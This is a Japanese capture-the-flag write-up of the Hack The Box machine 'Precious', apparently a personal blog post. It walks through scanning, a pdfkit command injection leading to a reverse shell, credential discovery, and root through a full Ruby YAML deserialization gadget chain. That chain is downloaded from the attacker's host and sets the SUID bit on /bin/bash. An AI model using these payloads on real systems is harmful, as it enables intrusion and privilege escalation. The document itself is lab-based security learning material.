初めに
どうも、クソ雑魚のなんちゃてエンジニアです。
本記事は Hack The Box(以下リンク参照) の「Precious」にチャレンジした際の WriteUp になります。
※以前までのツールの使い方など詳細を書いたものではないのでご了承ください。
※悪用するのはやめてください。あくまで社会への貢献のためにこれらの技術を使用してください。法に触れるので。
Discovery
ポートスキャン
今回はRustScanで高速スキャンしてみた。(はっや)
┌──(root💀kali)-[~]
└─# rustscan -a 10.10.11.189 --top --ulimit 10000
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: https://discord.gg/GFrQsGy :
: https://github.com/RustScan/RustScan :
--------------------------------------
😵 https://admin.tryhackme.com
[~] The config file is expected to be at "/root/.rustscan.toml"
[~] Automatically increasing ulimit value to 10000.
Open 10.10.11.189:22
Open 10.10.11.189:80
[~] Starting Script(s)
[>] Script to be run Some("nmap -vvv -p {{port}} {{ip}}")
[~] Starting Nmap 7.91 ( https://nmap.org ) at 2022-12-03 13:16 JST
Initiating Ping Scan at 13:16
Scanning 10.10.11.189 [4 ports]
Completed Ping Scan at 13:16, 0.30s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 13:16
Completed Parallel DNS resolution of 1 host. at 13:16, 0.03s elapsed
DNS resolution of 1 IPs took 0.03s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 13:16
Scanning 10.10.11.189 [2 ports]
Discovered open port 22/tcp on 10.10.11.189
Discovered open port 80/tcp on 10.10.11.189
Completed SYN Stealth Scan at 13:16, 0.29s elapsed (2 total ports)
Nmap scan report for 10.10.11.189
Host is up, received echo-reply ttl 63 (0.27s latency).
Scanned at 2022-12-03 13:16:29 JST for 1s
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
80/tcp open http syn-ack ttl 63
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.73 seconds
Raw packets sent: 6 (240B) | Rcvd: 3 (116B)
ポート22、80が公開されてそう。
実際にアクセスしてみると、「precious.htb」にアクセスできませんと言われるのでDNSの設定を投入していく。
Collection
ドメイン環境設定
今回BOX環境にDNSはないので、自身のkalilinuxで名前解決できるようにする。
┌──(root💀kali)-[~/work]
└─# vim /etc/hosts
以下を投入。
10.10.11.189 precious.htb
疎通確認を行う。
┌──(root💀kali)-[~]
└─# ping precious.htb
PING precious.htb (10.10.11.189) 56(84) bytes of data.
64 bytes from precious.htb (10.10.11.189): icmp_seq=1 ttl=63 time=275 ms
64 bytes from precious.htb (10.10.11.189): icmp_seq=2 ttl=63 time=268 ms
64 bytes from precious.htb (10.10.11.189): icmp_seq=3 ttl=63 time=266 ms
64 bytes from precious.htb (10.10.11.189): icmp_seq=4 ttl=63 time=269 ms
64 bytes from precious.htb (10.10.11.189): icmp_seq=5 ttl=63 time=283 ms
64 bytes from precious.htb (10.10.11.189): icmp_seq=6 ttl=63 time=277 ms
64 bytes from precious.htb (10.10.11.189): icmp_seq=7 ttl=63 time=272 ms
^C
--- precious.htb ping statistics ---
7 packets transmitted, 7 received, 0% packet loss, time 6014ms
rtt min/avg/max/mdev = 265.773/272.994/283.211/5.567 ms
サイト探索
httpサービスが空いていたのでどうせWebに穴があるんだろうなというメタ読みからサイト探索していきます。
Subdomain探索
以下サイトからサブドメインのリストをダウンロード
┌──(root💀kali)-[~/work]
└─# wget https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/DNS/bitquark-subdomains-top100000.txt
ffuf
で探索。特段それっぽいのはなさそう。
┌──(root💀kali)-[~/work]
└─# ffuf -w bitquark-subdomains-top100000.txt:FUZZ -u http://precious.htb/ -H "HOST: FUZZ.precious.htb" -fs 145 -t 100
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v1.5.0 Kali Exclusive <3
________________________________________________
:: Method : GET
:: URL : http://precious.htb/
:: Wordlist : FUZZ: bitquark-subdomains-top100000.txt
:: Header : Host: FUZZ.precious.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 100
:: Matcher : Response status: 200,204,301,302,307,401,403,405,500
:: Filter : Response size: 145
________________________________________________
:: Progress: [100000/100000] :: Job [1/1] :: 358 req/sec :: Duration: [0:04:42] :: Errors: 0 ::
ディレクトリ探索
dirsearch
を使用して探索を実施。
┌──(root💀kali)-[~]
└─# dirsearch -u http://precious.htb/ 2 ⨯
_|. _ _ _ _ _ _|_ v0.4.2
(_||| _) (/_(_|| (_| )
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 30 | Wordlist size: 10927
Output File: /root/.dirsearch/reports/precious.htb/-_22-12-03_13-24-18.txt
Error Log: /root/.dirsearch/logs/errors-22-12-03_13-24-18.log
Target: http://precious.htb/
[13:24:19] Starting:
Task Completed
特段いいものが出てこなかった。FuFF
も使ってみたが、結果は同じでいいものは出てこない。
一旦実際にアクセスしてみようと思う。
何やらURLをSubmitしそうなUIにたどり着いた。
このフォームに色々試していこうかなと思う。
Initial Access
Formの動作検証
検証をスムーズにするためにBurpを起動しておく。
Burp Suiteとは何ぞやは以下の過去記事をご覧ください。
適当に「aaa」とか打ち込んでみる。
バリデーションしてそう。
んじゃローカル(http://127.0.0.1/)にアクセスさせてみる。
違う表示が出た。「ロードできない」言われてる。PDFにできない、存在しないものはだめなのか?
なら存在するファイルなら?
とりあえずディレクトリトラバーサルやってみましょうか。
directory traversal attack
以下のようにペイロードリストを引っ張ってくる。
┌──(root💀kali)-[~/work]
└─# wget https://raw.githubusercontent.com/danielmiessler/SecLists/master/Fuzzing/LFI/LFI-LFISuite-pathtotest-huge.txt
レッツトライ!
┌──(root💀kali)-[~/work]
└─# ffuf -w LFI-LFISuite-pathtotest-huge.txt:FUZZ -X POST -d "url=FUZZ" -u http://precious.htb/ -fs 514 -t 100
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v1.5.0 Kali Exclusive <3
________________________________________________
:: Method : POST
:: URL : http://precious.htb/
:: Wordlist : FUZZ: LFI-LFISuite-pathtotest-huge.txt
:: Data : url=FUZZ
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 100
:: Matcher : Response status: 200,204,301,302,307,401,403,405,500
:: Filter : Response size: 514
________________________________________________
:: Progress: [9513/9513] :: Job [1/1] :: 364 req/sec :: Duration: [0:00:28] :: Errors: 0
引っかかるペイロードはなかった。。。URL形式でバリデーションしてるのかもね。
なら実際にKali上にサーバー立ち上げて通信させてみましょう。
CVE-2022-25765
HTTPサーバを立ち上げたディレクトリ階層をPDF化して表示してくれるみたい。
このPDFを調査してみる。PDFをダウンロードし、以下のexiftool
で調査を実施。
┌──(root💀kali)-[/home/kali/ダウンロード]
└─# exiftool p0wqgvn5vzu80hco069t2wq3h21zlaut.pdf
ExifTool Version Number : 12.51
File Name : p0wqgvn5vzu80hco069t2wq3h21zlaut.pdf
Directory : .
File Size : 24 kB
File Modification Date/Time : 2022:12:03 16:40:59+09:00
File Access Date/Time : 2022:12:03 16:40:59+09:00
File Inode Change Date/Time : 2022:12:03 16:40:59+09:00
File Permissions : -rw-r--r--
File Type : PDF
File Type Extension : pdf
MIME Type : application/pdf
PDF Version : 1.4
Linearized : No
Page Count : 1
Creator : Generated by pdfkit v0.8.6
pdfkit v0.8.6
の表示からこいつが内部で動いてそう。
調べてみると以下のRCEの脆弱性(CVE-2022-25765)がみつかった。
この脆弱性があるのかどうかを検証してみる。
sleep 10
とsleep 20
のコマンドが通り、レスポンスに差分があるかどうか見てみた。
右下の時間を見てみるとおよそ10秒の間隔があるのがわかるので、この脆弱性がありそうである。
RCEをしてリバースシェル確立できそうだ!!
Persistence
Reverse Shell
リバースシェル確立のために受け側を用意しておく。
┌──(root💀kali)-[~/work]
└─# nc -lnvp 4444
listening on [any] 4444 ...
ペイロード用にIPアドレスも確認しておく。
※この場合はtun0
┌──(root💀kali)-[~/work]
└─# ip a 1 ⨯
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
...
11: tun0: <POINTOPOINT,MULTICAST,NOARP,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UNKNOWN group default qlen 500
link/none
inet 10.10.14.21/23 scope global tun0
valid_lft forever preferred_lft forever
inet6 dead:beef:2::101a/64 scope global
valid_lft forever preferred_lft forever
inet6 fe80::cf43:caa1:e355:737d/64 scope link stable-privacy
valid_lft forever preferred_lft forever
ここで便利サイトを紹介しよう。
以下のサイト「Reverse Shell Generator」だ
こやつを使うとささっとペイロード作成できるので楽である。
Rubyを使ってるのはHTTPレスポンスヘッダから見えているが、プロンプトが見えやすい点と、どうせこういったサーバはPython使っているだろうといった予想からPython3のリバースシェルを叩き込む。
「Reverse Shell Generator」を使って作成してみた。
あら!便利だこと!
「Copy」ボタンを押してコピーしておき、「sleep 20」の部分を変更して貼り付けて実行。
┌──(root💀kali)-[~]
└─# nc -lnvp 4444
listening on [any] 4444 ...
connect to [10.10.14.21] from (UNKNOWN) [10.10.11.189] 41826
ruby@precious:/var/www/pdfapp$
interactive shell
とりあえずリバースシェル確立は出来たので、探索のしやすさのためにインタラクティブシェルを確立しとく。
※このままだとTabでの補完が効かなかったり、矢印キーが効かなかったりするので。
Ctrl
+Z
で接続をバックグラウンドにし、以下のコマンドを実行する。
ruby@precious:/var/www/pdfapp$ ^Z
zsh: suspended nc -lnvp 4444
┌──(root💀kali)-[~]
└─# stty raw -echo; fg
[1] + continued nc -lnvp 4444
export TERM=xterm-256col
ruby@precious:/var/www/pdfapp$ export SHELL=bash
これで足場完成である!!
Privilege Escalation - Horizontal
ruby
権限ではuser.txt
が見れないので、ruby権限で何かできないか探っていく。
そうすると、ruby
のホームディレクトリ配下に.bundle
の隠しフォルダがあるのがわかる。
ruby@precious:~$ ls -lta
ls -lta
total 28
drwxr-xr-x 4 ruby ruby 4096 Dec 2 23:57 .cache
drwxr-xr-x 4 ruby ruby 4096 Dec 2 23:25 .
dr-xr-xr-x 2 root ruby 4096 Oct 26 08:28 .bundle
drwxr-xr-x 4 root root 4096 Oct 26 08:28 ..
lrwxrwxrwx 1 root root 9 Oct 26 07:53 .bash_history -> /dev/null
-rw-r--r-- 1 ruby ruby 220 Mar 27 2022 .bash_logout
-rw-r--r-- 1 ruby ruby 3526 Mar 27 2022 .bashrc
-rw-r--r-- 1 ruby ruby 807 Mar 27 2022 .profile
この中身を探っていくとconfig
ファイルの中身にhenry
ユーザのクレデンシャル情報が見つかる。
ruby@precious:~$ cd .bundle
cd .bundle
ruby@precious:~/.bundle$ ls -tla
ls -tla
total 12
drwxr-xr-x 4 ruby ruby 4096 Dec 2 23:25 ..
dr-xr-xr-x 2 root ruby 4096 Oct 26 08:28 .
-r-xr-xr-x 1 root ruby 62 Sep 26 05:04 config
ruby@precious:~/.bundle$ cat config
cat config
---
BUNDLE_HTTPS://RUBYGEMS__ORG/: "henry:XXXXXXXXXXXXXXXXXXXXXXXX" //自分で見つけてみてね
ruby@precious:~/.bundle$
このクレデンシャルを使ってSSH接続をしてみる。
いった!!!
これで一般ユーザ権限は奪取できたわけである。
Privilege Escalation - Vertical
sudoでの権限調査
とりあえずsudo -l
で特権で使えそうなファイルやコマンドを探してみる。
henry@precious:~$ sudo -l
Matching Defaults entries for henry on precious:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User henry may run the following commands on precious:
(root) NOPASSWD: /usr/bin/ruby /opt/update_dependencies.rb
henry@precious:~$
特権で/usr/bin/ruby /opt/update_dependencies.rb
が使えそうである
update_dependencies.rb
のファイルの中身を見てみる。
henry@precious:/opt$ more update_dependencies.rb
# Compare installed dependencies with those specified in "dependencies.yml"
require "yaml"
require 'rubygems'
# TODO: update versions automatically
def update_gems()
end
def list_from_file
YAML.load(File.read("dependencies.yml"))
end
def list_local_gems
Gem::Specification.sort_by{ |g| [g.name.downcase, g.version] }.map{|g| [g.name, g.version.to_s]}
end
gems_file = list_from_file
gems_local = list_local_gems
gems_file.each do |file_name, file_version|
gems_local.each do |local_name, local_version|
if(file_name == local_name)
if(file_version != local_version)
puts "Installed version differs from the one specified in file: " + local_name
else
puts "Installed version is equals to the one specified in file: " + local_name
end
end
end
end
henry@precious:/opt$
スクリプトをざっと見た感じdependencies.yml
に何かペイロード叩き込んで読み込ませればいい感覚はある。
YAML.load
で読み込んでいるのでここら辺の特権昇格系の攻撃を調べてみる。
Yaml Deserialization
調査をすると、以下のRCE脆弱性CVE-2022-32224
が見つかった。
Ruby3.1
以前はYAML.safe_load
ではなくYAML.load
が使われているので危ないデシリアライゼージョンが行われるといったやつでしたね。
そのYAML.load
がスクリプトで使われているので利用させてもらいましょうかね。
この脆弱性は分かりやすく日本語でまとまっている奴もあるので参考にしてください。
ここら辺のデシリアライゼージョンの話はPythonで「HackTricks」でも取り上げられているので、こちらも参考にどうぞ。
というわけで以下サイトを参考にしながらyml
ファイルを作成していく。
---
- !ruby/object:Gem::Installer
i: x
- !ruby/object:Gem::SpecFetcher
i: y
- !ruby/object:Gem::Requirement
requirements:
!ruby/object:Gem::Package::TarReader
io: &1 !ruby/object:Net::BufferedIO
io: &1 !ruby/object:Gem::Package::TarReader::Entry
read: 0
header: "abc"
debug_output: &1 !ruby/object:Net::WriteAdapter
socket: &1 !ruby/object:Gem::RequestSet
sets: !ruby/object:Net::WriteAdapter
socket: !ruby/module 'Kernel'
method_id: :system
git_set: id
method_id: :resolve
git_set
の値をid
にしてコマンドを試してみる。
Kaliで編集したyml
ファイルをターゲットにダウンロードさせ、実行してみる。
henry@precious:~$ wget http://10.10.14.21:80/dependencies.yml
--2022-12-03 02:20:02-- http://10.10.14.21/dependencies.yml
Connecting to 10.10.14.21:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 600 [application/octet-stream]
Saving to: ‘dependencies.yml’
dependencies.yml 100%[===========================================================================>] 600 --.-KB/s in 0.001s
2022-12-03 02:20:03 (915 KB/s) - ‘dependencies.yml’ saved [600/600]
henry@precious:~$ sudo /usr/bin/ruby /opt/update_dependencies.rb
sh: 1: reading: not found
uid=0(root) gid=0(root) groups=0(root)
Traceback (most recent call last):
33: from /opt/update_dependencies.rb:17:in `<main>'
32: from /opt/update_dependencies.rb:10:in `list_from_file'
31: from /usr/lib/ruby/2.7.0/psych.rb:279:in `load'
30: from /usr/lib/ruby/2.7.0/psych/nodes/node.rb:50:in `to_ruby'
29: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:32:in `accept'
28: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:6:in `accept'
27: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:16:in `visit'
26: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:313:in `visit_Psych_Nodes_Document'
25: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:32:in `accept'
24: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:6:in `accept'
23: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:16:in `visit'
22: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:141:in `visit_Psych_Nodes_Sequence'
21: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:332:in `register_empty'
20: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:332:in `each'
19: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:332:in `block in register_empty'
18: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:32:in `accept'
17: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:6:in `accept'
16: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:16:in `visit'
15: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:208:in `visit_Psych_Nodes_Mapping'
14: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:394:in `revive'
13: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:402:in `init_with'
12: from /usr/lib/ruby/vendor_ruby/rubygems/requirement.rb:218:in `init_with'
11: from /usr/lib/ruby/vendor_ruby/rubygems/requirement.rb:214:in `yaml_initialize'
10: from /usr/lib/ruby/vendor_ruby/rubygems/requirement.rb:299:in `fix_syck_default_key_in_requirements'
9: from /usr/lib/ruby/vendor_ruby/rubygems/package/tar_reader.rb:59:in `each'
8: from /usr/lib/ruby/vendor_ruby/rubygems/package/tar_header.rb:101:in `from'
7: from /usr/lib/ruby/2.7.0/net/protocol.rb:152:in `read'
6: from /usr/lib/ruby/2.7.0/net/protocol.rb:319:in `LOG'
5: from /usr/lib/ruby/2.7.0/net/protocol.rb:464:in `<<'
4: from /usr/lib/ruby/2.7.0/net/protocol.rb:458:in `write'
3: from /usr/lib/ruby/vendor_ruby/rubygems/request_set.rb:388:in `resolve'
2: from /usr/lib/ruby/2.7.0/net/protocol.rb:464:in `<<'
1: from /usr/lib/ruby/2.7.0/net/protocol.rb:458:in `write'
/usr/lib/ruby/2.7.0/net/protocol.rb:458:in `system': no implicit conversion of nil into String (TypeError)
id
コマンドが通った!!
んじゃ権限昇格のためのコマンドを叩き込むためにyml
を編集してみる。
---
- !ruby/object:Gem::Installer
i: x
- !ruby/object:Gem::SpecFetcher
i: y
- !ruby/object:Gem::Requirement
requirements:
!ruby/object:Gem::Package::TarReader
io: &1 !ruby/object:Net::BufferedIO
io: &1 !ruby/object:Gem::Package::TarReader::Entry
read: 0
header: "abc"
debug_output: &1 !ruby/object:Net::WriteAdapter
socket: &1 !ruby/object:Gem::RequestSet
sets: !ruby/object:Net::WriteAdapter
socket: !ruby/module 'Kernel'
method_id: :system
git_set: "chmod +s /bin/bash"
method_id: :resolve
上記yml
ファイルを同じようにダウンロードした後に同様のコマンドsudo /usr/bin/ruby /opt/update_dependencies.rb
を実行し
以下のコマンドを実施する。
henry@precious:~$ /bin/bash -p
まとめ
これで特権昇格に成功し、Root権限奪取に成功しました。
今回のBoxはRubyメインだったかなとか若干思ったりしました。
まだわかりすく、学びやすいBoxだったと思います。
今回もセキュリティエンジニアの皆さんの助けになればなと思います。